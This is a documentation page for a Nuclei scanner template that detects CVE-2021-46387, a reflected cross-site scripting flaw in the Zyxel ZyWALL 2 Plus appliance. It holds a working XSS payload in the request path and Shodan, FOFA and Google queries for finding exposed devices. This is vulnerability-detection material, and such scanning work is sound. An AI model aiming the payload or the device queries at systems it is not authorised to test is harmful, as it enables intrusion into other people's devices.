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Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting

ID: CVE-2021-46387

Severity: medium

Author: DhiyaneshDk

Tags: cve2021,cve,xss,zyxel,edb

Description

Section titled “Description”

ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-46387


info:
  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50797
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
    - https://www.zyxel.com/uk/en/products_services/zywall_2_plus.shtml
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-46387
    cwe-id: CWE-79
    epss-score: 0.09016
    epss-percentile: 0.94598
    cpe: cpe:2.3:o:zyxel:zywall_2_plus_internet_security_appliance_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: zywall_2_plus_internet_security_appliance_firmware
    shodan-query:
      - http.title:"Zywall2Plus"
      - http.title:"zywall2plus"
    fofa-query: title="zywall2plus"
    google-query: intitle:"zywall2plus"
  tags: cve2021,cve,xss,zyxel,edb


http:
  - method: GET
    path:
      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iMg src=x onerror="prompt(document.domain)"><form>'
          - 'Entry Error'
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200
# digest: 4a0a004730450220467f159c0f51be54c60130c58d0b5998cd367139118d84c08e18e76214322c96022100b66773aecd2a5638aab063e281d8b4e4198bd5389f9c48102b2c5f9bb3016fc6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-46387.yaml"

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